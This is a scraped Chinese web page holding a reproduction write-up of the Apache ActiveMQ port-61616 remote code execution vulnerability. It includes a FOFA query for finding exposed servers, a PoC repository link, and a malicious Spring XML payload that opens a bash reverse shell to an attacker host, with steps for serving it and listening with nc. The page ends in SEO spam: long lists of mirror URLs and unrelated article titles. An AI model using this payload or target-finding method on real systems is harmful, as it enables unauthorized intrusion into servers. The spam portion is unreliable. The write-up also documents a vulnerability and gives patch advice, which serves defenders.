当前位置： 首页 > news >正文 佛山市专注网站建设平台下载京东商城网上购物 news 2025/10/25 6:39:56 佛山市专注网站建设平台,下载京东商城网上购物,国外的平面设计网站,广州建设银行预约公积金网站0x01 产品简介 ActiveMQ是一个开源的消息代理和集成模式服务器#xff0c;它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目#xff0c;用于实现消息中间件#xff0c;帮助不同的应用程序或系统之间进行通信。 0x02 漏洞概述 Apache ActiveMQ 中存…0x01 产品简介 ActiveMQ是一个开源的消息代理和集成模式服务器它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目用于实现消息中间件帮助不同的应用程序或系统之间进行通信。 0x02 漏洞概述 Apache ActiveMQ 中存在远程代码执行漏洞Apache ActiveMQ在默认安装下开放了61616服务端口而该端口并没有对传入数据进行适当的过滤从而使攻击者能够构造恶意数据以实现远程代码执行。 0x03 影响范围 Apache ActiveMQ 5.18.3 Apache ActiveMQ 5.17.6 Apache ActiveMQ 5.16.7 Apache ActiveMQ 5.15.16 0x04 复现环境 FOFAappAPACHE-ActiveMQ port61616 0x05 漏洞复现 PoC地址https://github.com/trganda/ActiveMQ-RCE 把项目Get到本地导入IDEA中运行 直接运行会发现报错java: 警告: 源发行版 11 需要目标发行版 11 PS:这种一般是你idea的 配置文件iml 与 项目中 配置的jdk版本是不一致导致的 这里需要安装jdk11配置项目 漏洞利用 修改Main.java以下两处 反弹shell 将rce.xml上传至vps ?xml version1.0 encodingUTF-8 ? beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbean idpb classjava.lang.ProcessBuilder init-methodstartconstructor-arglistvaluebash/valuevalue-c/valuevalue![CDATA[bash -i /dev/tcp/your-ip/6666 01]]/value/list/constructor-arg/bean利用python开启http服务 nc开启监听 运行Main.java 成功反弹shell 0x06 修复建议 临时缓解方案 通过网络ACL策略限制访问来源例如只允许来自特定IP地址或地址段的访问请求。 升级修复方案 目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到 Apache ActiveMQ 5.18.3 Apache ActiveMQ 5.17.6 Apache ActiveMQ 5.16.7 Apache ActiveMQ 5.15.16 https://github.com/apache/activemq/tags 文章转载自： http://www.morning.qmzwl.cn.gov.cn.qmzwl.cn http://www.morning.tssmk.cn.gov.cn.tssmk.cn http://www.morning.stbfy.cn.gov.cn.stbfy.cn http://www.morning.pfnrj.cn.gov.cn.pfnrj.cn http://www.morning.mlgsc.com.gov.cn.mlgsc.com http://www.morning.prjns.cn.gov.cn.prjns.cn http://www.morning.yqkxr.cn.gov.cn.yqkxr.cn http://www.morning.rdzlh.cn.gov.cn.rdzlh.cn http://www.morning.qzzmc.cn.gov.cn.qzzmc.cn http://www.morning.zpqk.cn.gov.cn.zpqk.cn http://www.morning.leboju.com.gov.cn.leboju.com http://www.morning.llllcc.com.gov.cn.llllcc.com http://www.morning.ljbpk.cn.gov.cn.ljbpk.cn http://www.morning.nzms.cn.gov.cn.nzms.cn http://www.morning.qwzpd.cn.gov.cn.qwzpd.cn http://www.morning.ntqjh.cn.gov.cn.ntqjh.cn http://www.morning.qrzwj.cn.gov.cn.qrzwj.cn http://www.morning.xbyyd.cn.gov.cn.xbyyd.cn http://www.morning.rkdw.cn.gov.cn.rkdw.cn http://www.morning.rpdmj.cn.gov.cn.rpdmj.cn http://www.morning.mjgxl.cn.gov.cn.mjgxl.cn http://www.morning.gqnll.cn.gov.cn.gqnll.cn http://www.morning.pangucheng.cn.gov.cn.pangucheng.cn http://www.morning.kfwrq.cn.gov.cn.kfwrq.cn http://www.morning.nyqxy.cn.gov.cn.nyqxy.cn http://www.morning.pcngq.cn.gov.cn.pcngq.cn http://www.morning.mcndn.cn.gov.cn.mcndn.cn http://www.morning.ftgwj.cn.gov.cn.ftgwj.cn http://www.morning.rlsd.cn.gov.cn.rlsd.cn http://www.morning.mjtft.cn.gov.cn.mjtft.cn http://www.morning.jcxzq.cn.gov.cn.jcxzq.cn http://www.morning.dycbp.cn.gov.cn.dycbp.cn http://www.morning.zwgbz.cn.gov.cn.zwgbz.cn http://www.morning.kdlzz.cn.gov.cn.kdlzz.cn http://www.morning.hfnbr.cn.gov.cn.hfnbr.cn http://www.morning.wjmb.cn.gov.cn.wjmb.cn http://www.morning.dtmjn.cn.gov.cn.dtmjn.cn http://www.morning.ctsjq.cn.gov.cn.ctsjq.cn http://www.morning.xrwsg.cn.gov.cn.xrwsg.cn http://www.morning.dkqyg.cn.gov.cn.dkqyg.cn http://www.morning.lnbcx.cn.gov.cn.lnbcx.cn http://www.morning.ypdhl.cn.gov.cn.ypdhl.cn http://www.morning.xysdy.cn.gov.cn.xysdy.cn http://www.morning.nsjpz.cn.gov.cn.nsjpz.cn http://www.morning.qmrsf.cn.gov.cn.qmrsf.cn http://www.morning.dxtxk.cn.gov.cn.dxtxk.cn http://www.morning.fkrzx.cn.gov.cn.fkrzx.cn http://www.morning.qqklk.cn.gov.cn.qqklk.cn http://www.morning.nqyzg.cn.gov.cn.nqyzg.cn http://www.morning.drkk.cn.gov.cn.drkk.cn http://www.morning.swsrb.cn.gov.cn.swsrb.cn http://www.morning.bpmnc.cn.gov.cn.bpmnc.cn http://www.morning.hblkq.cn.gov.cn.hblkq.cn http://www.morning.thlr.cn.gov.cn.thlr.cn http://www.morning.hbdqf.cn.gov.cn.hbdqf.cn http://www.morning.kaakyy.com.gov.cn.kaakyy.com http://www.morning.zpkfb.cn.gov.cn.zpkfb.cn http://www.morning.kqkmx.cn.gov.cn.kqkmx.cn http://www.morning.dwncg.cn.gov.cn.dwncg.cn http://www.morning.c7498.cn.gov.cn.c7498.cn http://www.morning.fcqlt.cn.gov.cn.fcqlt.cn http://www.morning.gjtdp.cn.gov.cn.gjtdp.cn http://www.morning.qqklk.cn.gov.cn.qqklk.cn http://www.morning.xqjrg.cn.gov.cn.xqjrg.cn http://www.morning.wdlg.cn.gov.cn.wdlg.cn http://www.morning.qwgct.cn.gov.cn.qwgct.cn http://www.morning.yhplt.cn.gov.cn.yhplt.cn http://www.morning.wtyqs.cn.gov.cn.wtyqs.cn http://www.morning.csnch.cn.gov.cn.csnch.cn http://www.morning.jmwrj.cn.gov.cn.jmwrj.cn http://www.morning.spwm.cn.gov.cn.spwm.cn http://www.morning.zkdbx.cn.gov.cn.zkdbx.cn http://www.morning.wkxsy.cn.gov.cn.wkxsy.cn http://www.morning.qjtbt.cn.gov.cn.qjtbt.cn http://www.morning.tbjb.cn.gov.cn.tbjb.cn http://www.morning.qbwyd.cn.gov.cn.qbwyd.cn http://www.morning.wpqcj.cn.gov.cn.wpqcj.cn http://www.morning.slfkt.cn.gov.cn.slfkt.cn http://www.morning.qqklk.cn.gov.cn.qqklk.cn http://www.morning.rrdch.cn.gov.cn.rrdch.cn 查看全文 http://www.tj-hxxt.cn/news/247474.html 相关文章： 网站前置审批工商营业执照注册公司 网站 备案地建设学分银行网站策划书 导航网站开发百度竞价推广托管 网站建设思路设计西南城乡建设部网站首页 网站建设百度搜不到wordpress 中文 tag 有网站专门做效果图戴尔网站建设目标 网站建设要什么证件广州网络公司有哪些 360建筑网密码忘了怎么改?网站结构怎么做适合优化 wordpress 中国企业最新seo视频教程 青海网站seo多梦wordpress主题3.0 网站用表格做的吗莱芜十大首富 交通局网站建设方案保险公司网站开发 做网站优化需要做什么福州市网站 xxx学校校园网站建设实践购物中心招商信息发布平台 乡镇网站建设自查报告陇城科技网站建设 建设集团有限公司网站首页企业的网站公告怎么制作 网站建站平台是什么手机网页设计 龙泉市旅游门户网站建设东莞城市建设管理局 网站建设都有什么类型网站开发设计有哪些 房地产营销门户网站开发互联网营销方案策划写作 白山做网站wordpress登录无响应 郑州专业公司网站建设公司做网站送企业邮箱 做网站常见的语言头像制作免费模板 网站开发都需要什么软件家装公司取名字大全集 江苏工信部网站备案免费制作app的软件下载 陕西专业网站建设wordpress怎么修改密码 网站开发行业代码设计软件网站 流量卡网站哈尔滨网站设计人 如何建单页网站栏目app运营费用预算 网站做跳转链接阿里企业邮箱网页版
